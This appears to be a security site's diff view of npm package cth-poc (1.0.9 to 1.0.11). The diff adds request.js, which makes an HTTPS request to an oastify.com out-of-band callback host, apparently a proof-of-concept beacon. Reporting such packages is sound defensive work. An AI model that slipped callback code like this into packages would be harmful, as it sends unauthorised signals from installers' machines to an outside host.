cth-poc 1.0.9 → 1.0.11
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +2 -1
- package/request.js +19 -0
package/package.json
CHANGED
package/request.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const options = {
|
4
|
+
hostname: 'diz0svwga2no6is2k74m0vncq3wuko8d.oastify.com', // Ganti dengan domain yang sesuai
|
5
|
+
port: 443, // Port HTTPS umum adalah 443
|
6
|
+
path: '/api/some-endpoint', // Ganti dengan path yang sesuai
|
7
|
+
method: 'GET', // Metode HTTP, bisa GET, POST, dll.
|
8
|
+
// headers: {} // Anda bisa menambahkan header kustom jika diperlukan
|
9
|
+
};
|
10
|
+
|
11
|
+
const req = https.request(options, (res) => {
|
12
|
+
// Tidak melakukan apa-apa dengan respons
|
13
|
+
});
|
14
|
+
|
15
|
+
req.on('error', (error) => {
|
16
|
+
console.error('Error making the request:', error);
|
17
|
+
});
|
18
|
+
|
19
|
+
req.end(); // Kirim permintaan
|